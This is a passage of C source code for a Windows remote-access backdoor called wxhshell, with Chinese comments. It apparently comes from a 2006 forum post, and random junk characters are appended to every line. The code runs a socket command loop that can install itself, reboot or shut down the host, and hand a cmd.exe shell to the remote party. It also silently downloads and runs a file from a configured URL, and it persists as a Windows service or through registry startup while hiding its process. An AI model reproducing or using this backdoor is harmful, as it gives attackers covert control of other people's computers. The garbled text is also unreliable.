    switch(cmd[0]) { _O,k0O   
  Q[n*ce7L0  
  // 帮助 }Fq~!D Ee  
  case '?': { f (Su  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e 48N[p  
    break; R:+cumHr  
  } m;4qs#qCg?  
  // 安装 n^lr7(!6  
  case 'i': { luWr.<1  
    if(Install()) urbSprdF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TCWt3\  
    else >%\&tS'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M*gbA5  
    break; ln1!%B;  
    } v\Y8+dD  
  // 卸载 zJ*(G_H  
  case 'r': { 9$q35e  
    if(Uninstall()) ''Y'ZsQ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` n#Db  
    else : L+%5Jq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iJU=98q  
    break; x DiGN Jc  
    } XN&cM,   
  // 显示 wxhshell 所在路径 jct|}U  
  case 'p': { gyz_$T@x  
    char svExeFile[MAX_PATH]; #E$*PAB  
    strcpy(svExeFile,"\n\r"); %,UTFuM`  
      strcat(svExeFile,ExeFile); j 06 mky  
        send(wsh,svExeFile,strlen(svExeFile),0); V(5*Dn84  
    break; }?)U`zF)7}  
    } p]eVby"  
  // 重启 @|PUet_pb  
  case 'b': { T -p~8=I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JHXtKgFX  
    if(Boot(REBOOT)) Gk']Ma2J}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G' '9eV$  
    else { B#;6z%WK  
    closesocket(wsh); dQs>=(|t  
    ExitThread(0); a=4 `C*)  
    } nw-%!}Ot"  
    break; tMiy`CPh  
    }  3 GL,=q  
  // 关机 3y%,f|ju  
  case 'd': { LC, 6hpmh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Al1}Ir   
    if(Boot(SHUTDOWN)) tbXl5x0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)S['[  
    else { ()Q#@?c~  
    closesocket(wsh); %"Ia]0  
    ExitThread(0); (M2hK[  
    } az1#:Go  
    break; K (,MtY*  
    } w `nm}4M  
  // 获取shell wq7h8Z}l  
  case 's': { Alk+MwjR  
    CmdShell(wsh); `t"7[Zk  
    closesocket(wsh); f>iDq C4  
    ExitThread(0); cE^Ljk  
    break; L0)w~F ?m  
  } %Jji<M]  
  // 退出 fuU 3?SG  
  case 'x': { Z*+y?5+L"P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z<iK(?@O  
    CloseIt(wsh); .L~ NX/V  
    break; dsn(h5,Q'  
    } ,<BV5~T.|  
  // 离开 >a;LBQ0  
  case 'q': { )UtK9;@"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I|l5e2j  
    closesocket(wsh); 9vP#/ -g  
    WSACleanup(); t$3B#=  
    exit(1); wBJ|%mc3TA  
    break; R"y xpw  
        } ;$67GK  
  } ceuEsQ}  
  } ..R JHa6B  
q`3HHq  
  // 提示信息 eH V#Mey[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PpLiH9}  
} =$y;0]7Lwi  
  } H)h$@14xu  
I7\T :Q[  
  return; qe5;Pq !G  
} _^g4/G#13c  
IF  cre  
// shell模块句柄 xn>N/+,  
int CmdShell(SOCKET sock) 0RjFa;j  
{ o!lKP>  
STARTUPINFO si; AyNpY_B0c  
ZeroMemory(&si,sizeof(si)); v|KGzQx$.*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  nvCp-Z$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EiDnUL(W7h  
PROCESS_INFORMATION ProcessInfo; Ng2Z7k  
char cmdline[]="cmd"; XmP,3KG2{S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Q,~Nw>  
  return 0; @?jbah#  
} ;Y,zlq2  
e8E'X  
// 自身启动模式 CkRilS<  
int StartFromService(void) icQQLSU5  
{ 8>9MeDE  
typedef struct 1#*^+A E  
{ B@@tKn_CQ  
  DWORD ExitStatus; =te4p@  
  DWORD PebBaseAddress; di(H-=9G62  
  DWORD AffinityMask; r0@s3/  
  DWORD BasePriority; xSqr=^  
  ULONG UniqueProcessId; *&tTiv{^  
  ULONG InheritedFromUniqueProcessId; a)*(**e$*i  
}   PROCESS_BASIC_INFORMATION; iaJLIrl  
E5 #ff5  
PROCNTQSIP NtQueryInformationProcess; \<hHZS  
+4p=a [  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,|Gjr T{vf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4s9.")G  
If]rg+|U  
  HANDLE             hProcess; /'zXb_R,$  
  PROCESS_BASIC_INFORMATION pbi; "sIww  
wwet90_g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gi>W&6  
  if(NULL == hInst ) return 0; 0e07pF/!  
IEd?-L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,:#h;4!VRF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \=P(?!v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V(XZ7<& {  
^G 'n z  
  if (!NtQueryInformationProcess) return 0; *8+HQ[[#  
"bB0$>0,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %QQ 2u$  
  if(!hProcess) return 0; >4q6  
`EfFyhG$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vL;>A]oM2  
VT-%o7%N  
  CloseHandle(hProcess); #|3,DZ|)F  
UCup {pDp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \D};0#G0&  
if(hProcess==NULL) return 0; fq4uiFi<  
L& rtN@5;  
HMODULE hMod; DAg*  
char procName[255]; orYZ<,u  
unsigned long cbNeeded; U<r!G;^`  
=.OzpV)=V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K}M lC}oIt  
|3~]XN-  
  CloseHandle(hProcess); 7z$bCO L=S  
*FC|v0D  
if(strstr(procName,"services")) return 1; // 以服务启动 Q"uK6ANp'  
*2}f $8  
  return 0; // 注册表启动 X Ai0lN{,  
} 1M 6^Brx  
=HB(N|9_d  
// 主模块 EiaP1o  
int StartWxhshell(LPSTR lpCmdLine) i`Qa7  
{ 9 ~$E+ m(  
  SOCKET wsl;  ;q5|If  
BOOL val=TRUE; H|7XfM  
  int port=0; *_d N9  
  struct sockaddr_in door; x4MTE?hT  
W8Wjq DQ  
  if(wscfg.ws_autoins) Install(); *>`6{0, 9  
{; th~[  
port=atoi(lpCmdLine); z,hBtq:-$  
ir>S\VT4  
if(port<=0) port=wscfg.ws_port; \rATmjsKzS  
"'GhE+>Z  
  WSADATA data; sP}u  zS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x%O6/rl  
s"J)Jc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,t;US.s([.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DajN1}]  
  door.sin_family = AF_INET; -/0aGqY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n(|n=P:o  
  door.sin_port = htons(port); ZR-64G=L,  
UCkV ;//.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \{!,a  
closesocket(wsl); KK5_;<  
return 1; 3TZ:  
} ,%BDBZ  
mhOgv\?  
  if(listen(wsl,2) == INVALID_SOCKET) { Ud2Tn*QmI  
closesocket(wsl); : bi(mX7t  
return 1; WRA(k  
} ?=^\kXc[  
  Wxhshell(wsl); q9PjQ%  
  WSACleanup(); l!KPgRw  
kj.9\  
return 0; wr=K AsH<  
#U7pT!F x  
} H3`.Y$z  
AaoS & q  
// 以NT服务方式启动 c53:E'g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x,cvAbwS  
{ ( ;^>G[  
DWORD   status = 0; ]h&1|j1  
  DWORD   specificError = 0xfffffff; kM1N4N7  
[}GK rI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ iQBgd@D^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !4FOX>|L@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b62B|0i  
  serviceStatus.dwWin32ExitCode     = 0; _uL[ Z  
  serviceStatus.dwServiceSpecificExitCode = 0; &zJ\D`\,O  
  serviceStatus.dwCheckPoint       = 0; L;y BZLM  
  serviceStatus.dwWaitHint       = 0; Q<g>WNb  
{&^PDa|nD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HB$?}V  
  if (hServiceStatusHandle==0) return; sKsMF:|OT  
oyY z3X  
status = GetLastError(); 7:Rt) EE2  
  if (status!=NO_ERROR) z$}9f*W}B  
{ W,[QK~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pwS"BTZ  
    serviceStatus.dwCheckPoint       = 0; &WL::gy_S  
    serviceStatus.dwWaitHint       = 0; r}^1dO  
    serviceStatus.dwWin32ExitCode     = status; ' Q(kx*;  
    serviceStatus.dwServiceSpecificExitCode = specificError; `Mbs6AJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TXXG0 G  
    return; QxxPImubB  
  } GG<0k\RN  
{:VK}w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~m,~;  
  serviceStatus.dwCheckPoint       = 0; S@S4<R1{\  
  serviceStatus.dwWaitHint       = 0; 2 'D,1F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -sZ'<(3  
} T0"nzukd  
.-mIU.Nwi  
// 处理NT服务事件,比如:启动、停止 gPc1oc(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p8@8b "  
{ c}|.U  
switch(fdwControl) &z5?]`ALu  
{ F E{c{G<  
case SERVICE_CONTROL_STOP: QKx(S=4jQ  
  serviceStatus.dwWin32ExitCode = 0; MN5}}@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k\;D;e{  
  serviceStatus.dwCheckPoint   = 0; wbcip8<t  
  serviceStatus.dwWaitHint     = 0; n'{jc 6&|  
  { -64 ;P9:A>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '[%Pdd]! E  
  } 3)LS#=  
  return; #a~BigZ[G  
case SERVICE_CONTROL_PAUSE: }cGILH%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UF6U5],`u  
  break; ~*y7%L4B  
case SERVICE_CONTROL_CONTINUE: pY3/AO=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .d[ ^&<^  
  break; dTCLE t.  
case SERVICE_CONTROL_INTERROGATE: rr\9HA  
  break; bma.RCyY<  
}; 3+d^Bpp4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P]y{3y:XxM  
} <YEKbnw$o  
O-)[!8r  
// 标准应用程序主函数 AB,(%JT/2{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s_RK x)w@  
{ dhxzW@'nIL  
}~PG]A  
// 获取操作系统版本 4g2`[<S  
OsIsNt=GetOsVer(); Rx"+i0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $6J22m!S4n  
lxgfi@@+h  
  // 从命令行安装 ~MC 5rOA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 59SL mj  
B hx.q,X  
  // 下载执行文件 mLkp*?sfC  
if(wscfg.ws_downexe) { 'jE/Tre^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (jhi<eV  
  WinExec(wscfg.ws_filenam,SW_HIDE); KWD{_h{R  
} I+.U.e^gx  
l<4P">M!.  
if(!OsIsNt) { N}NKQ]=  
// 如果时win9x,隐藏进程并且设置为注册表启动 a?GXVQ  
HideProc(); $uFvZ?w&  
StartWxhshell(lpCmdLine); iRkUL]H@&  
} <oT1&C{  
else 5{+2#-  
  if(StartFromService()) K;rgLj0m  
  // 以服务方式启动 yS4VgP'W  
  StartServiceCtrlDispatcher(DispatchTable); V4}jv7>A  
else 7BwR ].  
  // 普通方式启动 8jL^q;R_(  
  StartWxhshell(lpCmdLine); E $\nb]JQ  
'q~<ZO  
return 0; aJjUy%  
}
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只看该作者 1 发表于: 2006-10-10
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